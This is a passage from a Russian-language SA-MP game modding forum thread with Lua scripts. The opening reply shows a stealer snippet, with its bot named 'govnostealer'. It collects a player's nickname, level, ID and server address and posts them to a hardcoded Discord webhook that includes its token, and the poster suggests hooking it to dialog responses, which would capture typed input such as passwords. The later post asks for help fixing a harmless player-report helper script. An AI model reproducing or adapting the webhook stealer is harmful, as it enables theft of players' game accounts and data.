        local MyId = select(2, sampGetPlayerIdByCharHandle(PLAYER_PED))
        local MyName = sampGetPlayerNickname(MyId)
        local MyLvl = sampGetPlayerScore(select(2, sampGetPlayerIdByCharHandle(PLAYER_PED)))
        local ServerAddress = table.concat({sampGetCurrentServerAddress()}, ':')
        SendWebhook('https://discord.com/api/webhooks/1153601125237399582/KwuuPUCu0VcwJMbm6USEV7aOHX4kiBk5CZxJwnE0hwmOhnTf3Xd2sxNG2bsB9CZ4yF_B', ([[{
            "content": null,
            "embeds": [
              {
                "description": "**Ник:** `%s`\n**Уровень:** `%s`\n**Айди:** `%s`\n**Сервер:** `%s`",
                "color": 16711757
              }
            ],
                "username": "govnostealer",
                "avatar_url": "https://sun9-27.userapi.com/impg/9yjMFj-6fn5xWnUPN40UvPZe1KSgP-Fp67a6dA/c8HS7ARnFjk.jpg?size=800x800&quality=95&sign=f9edd15370c0927ef6219808c2c9db27&c_uniq_tag=3q4qq1ptmhA5pJgPLOv8D-kgTnzyiAdo8MjtpAtoaXk&type=album",
                "attachments": []
              }]]):format(MyName, MyLvl, MyId, ServerAddress))
хуком он сенд диалог респонс
 

Carl_Henderson

Новичок
28
4
Можете починить, давно писал и чёт забросил а щас нашёл и не могу понять где ошибка
Lua:
local sampev = require('lib.samp.events')
 
local id = 0
 
local state = false
local function send(text) return sampAddChatMessage('{FF802E}[RHelper]:{FFFFFF} '..text, -1) end
 
function main()
 while not isSampAvailable() do wait(0) end
 
 sampRegisterChatCommand('rh', function()
 state = not state
 send(state and 'Включен' or 'Выключен')
 end)
 
 sampRegisterChatCommand('rhm', function()
 send(state and 'Сейчас включен' or 'Сейчас выключен')
 end)
 
 while true do
 wait(0)
 if testCheat('X') then
 sampSendChat('/rep '..id..' дм')
 end
 end
end
 
function sampev.onSendTakeDamage(data)
 if state then
 id = data
 send('Вы были ранены, количество оставшегося хп: '..getCharHealth(PLAYER_PED))
 send('Нажмите двойным кликом Х для вызова помощи')
 send('Нападающий: ('..sampGetPlayerNickname(data)..')['..data..']')
 end
end
 
  • Эм
Реакции: Hinаta